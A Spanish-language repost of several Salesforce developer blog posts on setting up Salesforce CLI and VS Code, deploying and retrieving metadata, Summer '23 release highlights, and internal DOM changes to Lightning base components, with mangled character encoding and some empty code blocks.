Los metadatos de su organizaci贸n est谩n en la nube, pero para desarrollarse de una manera m谩s productiva, desarrollar谩 localmente. El modus operandi ser谩 trabajar con los metadatos en su m谩quina local y sincronizarlos con su organizaci贸n, lo que significa recuperarlos o implementarlos cuando sea necesario.

Una alternativa al desarrollo local es usar Code Builder (Beta) , un IDE basado en web que puede iniciar desde su organizaci贸n y que tiene las herramientas de desarrollador instaladas. Sin embargo, en este blog, nos centraremos en el flujo de trabajo de desarrollo local.

El primer paso es instalar las siguientes herramientas en su m谩quina:

  • CLI de Salesforce : esta es la herramienta de interfaz de l铆nea de comandos que utilizar谩 para escribir comandos para mover su c贸digo entre su entorno local y su organizaci贸n, ejecutar pruebas, implementar datos de muestra y mucho m谩s. Si no le gusta escribir comandos en una terminal, no tema, ya que tenemos opciones alternativas como se describe en esta publicaci贸n de blog.
  • C贸digo VS : este es el IDE que usar谩 para desarrollar en su m谩quina local.
  • Java : algunas funciones en las extensiones de Salesforce para VS Code dependen de la plataforma Java, kit de desarrollo de edici贸n est谩ndar (JDK). Inst谩lelo siguiendo las instrucciones vinculadas.
  • Extensiones de Salesforce para VS Code : Este es un grupo de extensiones de VS Code que aumentan las capacidades de VSCode, exponiendo la mayor铆a de los comandos de la CLI de Salesforce en la interfaz de usuario de VS Code, para que pueda ejecutarlos con clics. Las extensiones tambi茅n agregan funciones para habilitar la depuraci贸n, facilitar las pruebas, permitirle explorar los metadatos en su organizaci贸n y m谩s.

Creaci贸n de un proyecto de Salesforce DX

Cuando trabaja con los metadatos de una organizaci贸n localmente, los archivos de metadatos deben almacenarse en una carpeta de proyecto, siguiendo una estructura determinada. Eso es lo que llamamos un proyecto de Salesforce DX.

Una vez instaladas las herramientas para desarrolladores, puede continuar y crear un proyecto de Salesforce DX que luego conectar谩 a su organizaci贸n. Una forma de hacerlo es escribir un comando que utilice la CLI de Salesforce para crear el proyecto. Puede escribir ese comando en una terminal normal.

sf project generate -n myProject

Nota: la CLI de Salesforce contiene dos ejecutables, sfdx y sf . En este blog, escribiremos los comandos utilizando el ejecutable y la sintaxis m谩s modernos, que es sf .

El indicador -n indica el nombre del proyecto. La CLI de Salesforce aplicar谩 scaffolding a un proyecto en una carpeta con ese nombre. Una vez que se crea el proyecto, puede abrirlo en VS Code, con File 鈫 Open Folder .

Gracias a las extensiones de Salesforce para VS Code, existe una forma sin escribir para ejecutar los comandos de la CLI de Salesforce. Simplemente abra la paleta de comandos de VS Code con View 鈫 Command Palette y escriba SFDX para ver todos los comandos disponibles. Tambi茅n podr铆amos haber creado el proyecto con SFDX: Create Project en lugar de escribir el comando.

Autorizar y establecer una organizaci贸n como predeterminada

Una vez que su proyecto est茅 configurado, el siguiente paso es autorizar la CLI de Salesforce para que funcione con su organizaci贸n. Comencemos esta vez con la forma de hacerlo sin escribir. Cuando abra el proyecto por primera vez, simplemente haga clic en el bot贸n Sin conjunto de organizaciones predeterminado y aparecer谩 la paleta de comandos, sugiriendo que autorice una organizaci贸n. Proceda siguiendo las instrucciones del comando.

Otra forma de hacerlo es ejecutar un comando CLI de Salesforce. Esta vez, y de ahora en adelante, le recomiendo que use el terminal integrado de VS Code para ejecutar comandos, ya que tener todas las herramientas en la misma pantalla reduce el cambio de contexto. Puede abrirlo en Terminal 鈫 New Terminal .

El comando CLI de Salesforce utilizado para autorizar una organizaci贸n es:

sf org login web -s

Luego, siga las instrucciones dadas por el comando. El indicador -s configurar谩 esa organizaci贸n como su organizaci贸n predeterminada para este proyecto. Puede ver la organizaci贸n predeterminada de su proyecto en la barra inferior de VS Code.

Todos los comandos de la CLI de Salesforce tienen varios indicadores disponibles. Por ejemplo, si desea conectarse a una zona de pruebas, puede pasar la URL de la instancia de la zona de pruebas a sf org login web usando -r . Para ver la ayuda del comando y todos sus indicadores disponibles, ejecute el comando agregando --help al final.

Cuando trabaja con varias organizaciones, ser谩 com煤n autorizar la CLI de Salesforce con varias organizaciones. Puede ver las organizaciones a las que la CLI de Salesforce tiene autorizaci贸n para acceder ejecutando sf org list . Puede cambiar la organizaci贸n predeterminada de un proyecto haciendo clic en el nombre de la organizaci贸n en la barra inferior de VS Code, como hicimos para autorizar por primera vez, o ejecutando:

sf config set target-org=your-org-username@sf.com

Perm铆tanme compartir con ustedes un 煤ltimo consejo. Las organizaciones pueden tener alias. Esto es 煤til cuando no desea recordar nombres de usuario largos o complejos. Para establecer un alias, escriba el siguiente comando.

sf alias set myalias=your-org-username@sf.com

Cuando se establece un alias, puede utilizar el alias en lugar del nombre de usuario de la organizaci贸n en cualquiera de los comandos de la CLI de Salesforce.

Implementaci贸n de metadatos en la organizaci贸n

Una vez que la CLI de Salesforce y su IDE est茅n autorizados con su organizaci贸n, y la organizaci贸n est茅 configurada como la organizaci贸n predeterminada para su proyecto, puede comenzar a desarrollar e implementar cambios. Por ejemplo, digamos que queremos crear una clase de Apex. Puede crear el archivo de metadatos que representa la clase de Apex manualmente en la carpeta classes . Sin embargo, es mucho m谩s efectivo crear la clase desde la paleta de comandos.

Tambi茅n puede crear una clase escribiendo el siguiente comando de la CLI de Salesforce:

sf apex generate class -n myClass -d force-app/main/default/classes

Una vez que su clase est茅 lista para implementarse en su organizaci贸n, hay varias formas de hacerlo. Una forma es especificar los metadatos en el comando.

sf project deploy start -m ApexClass

Una segunda forma es especificar una carpeta para implementar.

sf project deploy start -p force-app/main/default/classes

Y una tercera forma, disponible gracias a Salesforce Extensions for VS Code, es hacer clic con el bot贸n derecho en el archivo y hacer clic en Deploy This Source to Org .

Todas esas opciones le permiten ejecutar las implementaciones usted mismo. Si desea automatizar este paso e implementar un archivo cada vez que se guarda, puede establecer la configuraci贸n Implementar al guardar VS Code en "Verdadero" y ahorrar algo de tiempo.

Cuando se implementan sus metadatos, normalmente querr谩 abrir su organizaci贸n para realizar pruebas. Puede iniciar sesi贸n utilizando su navegador como de costumbre. Pero para los desarrolladores, es m谩s eficiente hacer clic en el bot贸n de abrir organizaci贸n en la barra inferior de VS Code.

Conclusi贸n

En esta publicaci贸n de blog, aprendi贸 c贸mo obtener una organizaci贸n gratuita para el desarrollo y c贸mo instalar las herramientas de desarrollo que todo desarrollador de Salesforce deber铆a usar hoy. Ha entendido c贸mo crear un proyecto y autorizarlo con su organizaci贸n y, por 煤ltimo, c贸mo implementar metadatos mediante la CLI de Salesforce o VS Code. En la Parte 2 de esta serie, aprender谩 c贸mo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su c贸digo. Adem谩s, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. Si te gusta un formato de video, mira nuestro episodio de codeLive . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . 隆Est茅n atentos para la segunda publicaci贸n de blog de esta serie ma帽ana!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Herramientas para desarrolladores desde cero (Parte 2 de 2) | Blog de desarrolladores de Salesforce

Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que a煤n no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos c贸mo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho m谩s productivos y felices.

En la Parte 1 de esta serie , discutimos c贸mo obtener una organizaci贸n gratuita para el desarrollo y c贸mo instalar las herramientas de desarrollo que todo desarrollador de Salesforce deber铆a usar hoy. Le mostramos c贸mo crear un proyecto y autorizarlo con su organizaci贸n y, finalmente, c贸mo implementar metadatos mediante la CLI de Salesforce o VS Code. En esta segunda publicaci贸n de blog, aprender谩 c贸mo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su c贸digo. Adem谩s, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. 隆Vamos a sumergirnos en 茅l!

Recuperar metadatos de la organizaci贸n

Un pilar del desarrollo de Salesforce es ser eficiente sin reinventar la rueda. Es por eso que hay muchas herramientas de c贸digo bajo disponibles que le permiten crear y modificar metadatos directamente en su organizaci贸n con solo hacer clic. Es posible que vea estas herramientas a las que se hace referencia como herramientas de "apuntar y hacer clic" o herramientas "declarativas". Algunos metadatos t铆picos que crea con clics son p谩ginas, aplicaciones y flujos.

Estos metadatos son algo que puede recuperar en su proyecto local y continuar ampli谩ndolos con c贸digo si es necesario. De hecho, la mejor pr谩ctica es recuperar los metadatos de su organizaci贸n y almacenarlos en un sistema de control de versiones como Git. Pero dejemos este tema para otra entrada del blog.

Si crea o modifica metadatos con clics en su organizaci贸n y conoce el nombre del tipo de metadatos que desea recuperar, puede hacerlo ejecutando este comando:

sf project retrieve start -m FlexiPage

Los nombres de los tipos de metadatos pueden no ser obvios al principio. Afortunadamente, hay algo muy bueno que puede usar para ver todos los metadatos que existen en su organizaci贸n y recuperar lo que necesita: Org Browser. El navegador de la organizaci贸n se agrega a VS Code gracias a las extensiones de Salesforce para VS Code. 脕bralo haciendo clic en el 铆cono de la nube en el panel lateral izquierdo de VS Code, busque los metadatos que necesita y simplemente haga clic en recuperar.

Puede encontrar una lista completa de nombres de tipos de metadatos en la Gu铆a para desarrolladores de la API de metadatos .

Una 煤ltima opci贸n: si los metadatos ya existen en su proyecto local y desea recuperar una versi贸n actualizada, puede hacer clic con el bot贸n derecho en el archivo y seleccionar Retrieve Source from Org .

Un requisito com煤n para las organizaciones existentes ser谩 recuperar todos los metadatos de la organizaci贸n por primera vez y almacenarlos en el proyecto local (y, por lo general, en un sistema de control de versiones). Este es un tema m谩s avanzado, pero si quieres aprender c贸mo hacerlo, te recomiendo ver este video Quick Take .

Trabajar con organizaciones con seguimiento de origen

En esta publicaci贸n de blog, nos hemos centrado en las organizaciones que no tienen activado el seguimiento de fuentes. Esta es la opci贸n predeterminada para las organizaciones y sandboxes de desarrolladores, aunque, en los sandboxes de desarrolladores, se puede activar el seguimiento de origen. Existe otro tipo de organizaci贸n, denominada organizaci贸n borrador, que tiene activado el seguimiento de origen de forma predeterminada.

La principal diferencia con las organizaciones con seguimiento de origen, con respecto a la implementaci贸n y recuperaci贸n de c贸digo, es que los cambios de metadatos se rastrean autom谩ticamente. Eso significa que puede simplificar los comandos de implementaci贸n y recuperaci贸n, simplemente escribiendo:

sf project deploy start

o

sf project retrieve start

La CLI detectar谩 autom谩ticamente todo lo que haya cambiado en su organizaci贸n o en su proyecto local y lo implementar谩 o recuperar谩 en consecuencia. Este es un cambio de juego para los desarrolladores, ya que no tener que especificar los metadatos o la carpeta para recuperar o implementar lo convierte en un desarrollador mucho m谩s productivo. Lea la documentaci贸n para comenzar con el seguimiento de fuentes en Sandboxes u organizaciones Scratch .

Cuidando la calidad del c贸digo con las bibliotecas de Node

Cuando genera un proyecto, tambi茅n contendr谩 un archivo package.json . Este archivo define el proyecto como un proyecto de Node.js. La CLI de Salesforce y la Extensi贸n de Salesforce para su IDE estructuran el proyecto de esta manera, para que pueda ejecutar secuencias de comandos que cuidan la calidad de su c贸digo. Los scripts usan bibliotecas que se definen en la secci贸n devDependencies de package.json y deben descargarse en su proyecto local ejecutando el comando npm install . Ninguna de las bibliotecas de Node se implementar谩 en su organizaci贸n, solo se usar谩n en su m谩quina local.

Aqu铆 hay un resumen de lo que hacen las bibliotecas:

  • Prettier se usa para formatear su c贸digo siguiendo criterios configurables. Esto es extremadamente 煤til cuando varios desarrolladores trabajan en el mismo proyecto, ya que tienen una forma unificada y automatizada de formatear el c贸digo. Tambi茅n proporcionamos un complemento Prettier espec铆fico para formatear las clases de Apex.
  • ESLint lo ayuda a encontrar y solucionar problemas con su c贸digo JavaScript. Adem谩s, proporcionamos un complemento ESLint dise帽ado para filtrar el c贸digo JavaScript de Lightning Web Components.
  • sfdx-lwc-jest se utiliza para escribir y ejecutar pruebas de Jest para sus componentes web Lightning. sa11y es un complemento para escribir pruebas de accesibilidad y asegurarse de que sus componentes sean accesibles.

El punto de entrada para usar las bibliotecas son los scripts definidos en la secci贸n scripts .

Los scripts se pueden ejecutar localmente, bajo demanda y de forma automatizada. Por lo general, estos scripts se ejecutan autom谩ticamente antes de enviar su c贸digo a un repositorio de c贸digo al fusionar su c贸digo con c贸digo desarrollado por otros, o al mover cambios entre entornos en su canalizaci贸n. Esto garantiza que el c贸digo tenga la calidad esperada y que su funcionalidad no se rompa. Este concepto se conoce como integraci贸n continua, y puede ver un buen video de codeLive al respecto.

El uso de estas bibliotecas no es obligatorio, pero recomendamos encarecidamente hacerlo. Para saber m谩s sobre este tema, lee nuestra entrada de blog .

Otras joyas de las Extensiones de Salesforce para VS Code

Eso no es todo sobre las extensiones de Salesforce. Agregan a VS Code muchas m谩s capacidades, como resaltado de sintaxis, finalizaci贸n de c贸digo y validaci贸n de CSS para Lightning Web Components, Aura Components, Apex, SOQL y Visualforce.

Tambi茅n muestran una pesta帽a de prueba que hace que sea mucho m谩s f谩cil ejecutar y escribir pruebas de Apex y Lightning Web Components.

Y, por 煤ltimo, tambi茅n facilitan la depuraci贸n de Apex, gracias a Apex Replay Debugger .

Adem谩s de eso, algo muy bueno de VS Code es que puede agregar toneladas de extensiones creadas por desarrolladores de todos los diferentes ecosistemas. Hay extensiones para ayudarlo con el control de versiones y con el an谩lisis est谩tico de c贸digo (como PMD ). Existen extensiones para Prettier y ESLint que te dan avisos cuando el c贸digo no cumple con sus reglas. Hay extensiones para casi todo lo que pueda necesitar, 隆incluso para usar Chat GPT! Eche un vistazo al VS Code Marketplace para ver todas las extensiones disponibles o, mejor a煤n, 隆cree la suya propia!

Conclusi贸n

隆Vaya, eso fue mucho! En esta publicaci贸n de blog, aprendi贸 sobre las herramientas de desarrollador que todo desarrollador de Salesforce debe conocer y utilizar. Al dominar estas herramientas, se convertir谩 en un desarrollador mucho m谩s productivo, r谩pido y feliz. Si quieres aprender todo este contenido en formato de video, mira nuestro episodio de codeLive . Si trabaja con sandboxes, puede ampliar su conocimiento sobre c贸mo trabajar con sandboxes y la CLI de Salesforce leyendo nuestra serie de publicaciones de blog . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . 隆Feliz codificaci贸n!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆Haz un gran revuelo con el lanzamiento de Summer '23!

Sabemos que cada versi贸n trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato f谩cil de digerir con blogs, videos y m谩s.

隆Es f谩cil empezar!

  • 隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos!
  • 隆脷nase a nosotros para Release Readiness Live ! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Introducci贸n

隆El lanzamiento de Summer '23 est谩 aqu铆 y est谩 repleto de funciones para desarrolladores! En esta publicaci贸n de blog, resumiremos los aspectos m谩s destacados, para que pueda obtener una descripci贸n general de las novedades y decidir qu茅 es lo m谩s interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las 煤ltimas innovaciones lo ayudar谩 a aumentar su experiencia y convertirse en un desarrollador m谩s exitoso.

Componentes web Lightning

Comencemos hablando de Lightning Web Components, que presentar谩 una gran cantidad de nuevas funciones en Summer '23.

Un par de funciones que estaban en Beta ahora estar谩n disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, tambi茅n ser谩 GA. Adem谩s, el adaptador de cable GraphQL se est谩 moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiar谩 las reglas del juego sobre c贸mo se leen los datos en Lightning Web Components.

Hay varias mejoras en la sintaxis de LWC que facilitar谩n la escritura de sus componentes. Se est谩 lanzando una nueva directiva de plantilla lwc:spread (consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de c贸digo que necesita escribir. A partir de Summer '23, podr谩 establecer un valor din谩mico para el atributo de ranura de un elemento HTML. Adem谩s, se habilitar谩 la inyecci贸n program谩tica de hojas de estilo, lo que le permitir谩 establecer la propiedad est谩tica de las hojas de estilo para un componente.

驴Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versi贸n tambi茅n trae mejoras a las capacidades de manejo de errores de UTAM y una extensi贸n de Chrome para identificar objetos de p谩gina de UTAM (en Beta).

M贸vil sin conexi贸n

Salesforce Mobile App Plus (Salesforce App+) es una versi贸n de la aplicaci贸n Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecuci贸n avanzado para componentes web Lightning que aumenta el tiempo de ejecuci贸n est谩ndar con funciones dise帽adas espec铆ficamente para uso m贸vil y sin conexi贸n. Si bien LWC Offline anteriormente solo estaba disponible en la aplicaci贸n m贸vil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto m谩s gen茅rico. Salesforce App+ se cerr贸 en Beta en Spring '23 y se trasladar谩 a GA en Summer '23. Salesforce App+ est谩 disponible bajo la licencia Salesforce Mobile Plus.

Integraci贸n de plataforma

Tener una plataforma robusta es tan importante como tener capacidades de integraci贸n s贸lidas. Es por eso que la versi贸n Summer '23 trae muchas funciones de integraci贸n nuevas.

En esta versi贸n, ampliamos la API REST de Salesforce para admitir la recuperaci贸n de elementos secundarios mediante la definici贸n de hasta cinco niveles de consultas SOQL anidadas . Tambi茅n ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programaci贸n. Adem谩s, la API GraphQL, que se hizo GA en Spring, ahora admitir谩 consultas con funciones agregadas y mejorar谩 sus capacidades de manejo de errores . Los eventos de la plataforma tambi茅n incluyen nuevas funciones, como la capacidad de agregar una clase de devoluci贸n de llamada a su c贸digo de publicaci贸n de Apex , que proporcionar谩 una confirmaci贸n cuando el evento de la plataforma se publique correctamente. Adem谩s, podr谩 obtener m茅tricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric .

Tambi茅n se est谩n mejorando las capacidades de integraci贸n en Flow. Flow Builders ahora podr谩 configurar llamadas HTTP GET a sistemas externos que no tienen una especificaci贸n de API abierta a trav茅s de la funci贸n Servicios externos. Las llamadas HTTP POST est谩n en Beta. Si es un Muley , puede leer m谩s sobre las innovaciones de Flow plus MuleSoft en la siguiente secci贸n.

Adem谩s de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudar谩 a GA, y Event Relay ahora admitir谩 Shield Platform Encryption y tendr谩 una nueva interfaz de usuario de configuraci贸n f谩cil de usar.

Innovaciones entre nubes

Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.

Mula Suave

Una de las innovaciones m谩s recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de pr贸xima generaci贸n de MuleSoft para dise帽ar, desarrollar e implementar API, integraciones y automatizaci贸n desde un solo entorno. 隆Compru茅balo si a煤n no lo has hecho!

Si ley贸 la secci贸n "Integraci贸n de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se est谩 integrando en Flow m谩s que nunca. En Summer '23, habr谩 una nueva secci贸n en la interfaz de usuario de configuraci贸n de Salesforce Platform, desde la cual podr谩 configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Adem谩s, el soporte de MuleSoft se est谩 agregando a Flow Orchestrator , lo que facilita la creaci贸n de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.

Por 煤ltimo, se lanzar谩 Anypoint Experience Hub . Es la pr贸xima evoluci贸n de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participaci贸n de API.

Cuadro

Si trabaja con API, es posible que est茅 familiarizado con la colecci贸n Postman de API de Salesforce . Esta colecci贸n se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente m谩s de 500 bifurcaciones y m谩s de 800 estrellas. Tableau recientemente se subi贸 al carro al agregar sus propias muestras de la API REST de Tableau a la colecci贸n. Para obtener m谩s informaci贸n, lea nuestra entrada de blog .

Si le gust贸 la colecci贸n, le encantar谩 la innovaci贸n m谩s reciente de Tableau, cuya vista previa p煤blica se anunci贸 en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar r谩pidamente soluciones de an谩lisis integradas. Integre visualizaciones de Tableau y agregue r谩pidamente interacciones que establezcan filtros y par谩metros, obtengan marcas y datos seleccionados, utilizando los componentes b谩sicos de los m茅todos y las propiedades de la API de incorporaci贸n. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con c贸digo que puede exportar y ejecutar en cualquier lugar.

La diversi贸n no se detiene ah铆. Para admitir an谩lisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecuci贸n dentro del flujo de autenticaci贸n integrado. Para obtener m谩s informaci贸n, leanuestra entrada de blog .

Flojo

Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de pr贸xima generaci贸n. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes b谩sicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podr谩n aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma tambi茅n incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener m谩s informaci贸n al respecto y obtener experiencia pr谩ctica, dir铆jase a la gu铆a de inicio r谩pido .

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas caracter铆sticas favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cambios en la estructura del DOM interno del componente Lightning base para la futura compatibilidad con sombras nativas | Blog de desarrolladores de Salesforce

Salesforce est谩 preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorar谩 el rendimiento de los componentes y los alinear谩 mejor con los est谩ndares de los componentes web. Como parte de esta fase de preparaci贸n, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Reci茅n comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicaci贸n, discutiremos qu茅 cambiar谩 y c贸mo puede prepararse para ello.

驴Qu茅 es el DOM de sombra nativo?

Shadow DOM es un est谩ndar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegi茅ndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.

Actualmente, Salesforce mantiene un polyfill de sombra sint茅tico para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.

Con la introducci贸n del shadow DOM nativo, mejoraremos la encapsulaci贸n de los componentes, haci茅ndolos m谩s consistentes y seguros, y brindaremos una forma m谩s predecible de dise帽arlos. Esto resolver谩 una gran cantidad de problemas de compatibilidad con versiones anteriores y alinear谩 los componentes web Lightning con los est谩ndares web.

Sin embargo, puede provocar una fase de adaptaci贸n a medida que hacemos el cambio.

La implementaci贸n interna de los componentes b谩sicos est谩 cambiando

Hemos estado trabajando en la preparaci贸n de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios espec铆ficos en los que se romp铆a la encapsulaci贸n de los componentes base requer铆an que cre谩ramos un nuevo elemento contenedor dentro del l铆mite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se ve铆a as铆:

<dx-code-block title language code-block="

Example base component

“>

A partir de Summer '23, se ver谩 as铆:

<dx-code-block title language code-block="

Example base component

“>

La mec谩nica interna de los componentes b谩sicos no se dise帽贸 para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API p煤blicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes est谩n utilizando componentes internos de manera no documentada. Si est谩 accediendo a los elementos internos de un componente base con fines de personalizaci贸n y prueba, tenga en cuenta estos cambios.

驴C贸mo puede arreglar su c贸digo personalizado y sus pruebas?

Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro tambi茅n pueden fallar. En ambos casos, puede significar que su c贸digo personalizado o c贸digo de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con m谩s profundidad:

Un componente no se ve como se esperaba:

  • Problema: Intentar dise帽ar el elemento o las clases personalizadas dentro de un componente base puede generar resultados imprevistos.
  • Soluci贸n: El cambio de sombra sint茅tica a componentes totalmente encapsulados con DOM de sombra nativo puede cambiar su estrategia de CSS. Al migrar sus personalizaciones de estilo a la sombra nativa, siga estos pasos:
    • Consulte la disponibilidad de un gancho para peinar . Ofrecen un excelente m茅todo para adaptar un componente sin profundizar en las complejidades del CSS subyacente o el shadow DOM.
    • Aseg煤rese de que el valor que est谩 aplicando al gancho de estilo est茅 vinculado a su sistema de dise帽o en lugar de un valor fijo y predefinido. Evite usar un valor codificado.

Una prueba de extremo a extremo falla:

  • Problema: Cualquier implementaci贸n que use combinadores CSS fallar谩. Por ejemplo, lightning-foo > p no coincidir谩 con nuestro marcado actualizado.
  • Soluci贸n: Los combinadores hacen que el CSS sea fr谩gil y deben evitarse a menos que se usen por una buena raz贸n. La mayor铆a de las veces, los combinadores se pueden eliminar sin ninguna regresi贸n. Si se desea un elemento espec铆fico, se pueden usar otros m茅todos de orientaci贸n que no se basen en el marcado que nunca cambia. Es decir, evite apuntar expl铆citamente a elementos HTML siempre que sea posible. Use otros selectores disponibles, como clases que permiten que su uso de CSS sea abstracto, modular y separado del elemento HTML. Si sus pruebas se basan en combinadores de CSS, le recomendamos que adopte el Modelo de automatizaci贸n de pruebas de interfaz de usuario (UTAM) para evitar cambios importantes en el futuro, ya que los objetos de la p谩gina se mantienen actualizados con todos los cambios de componentes.

Conclusi贸n

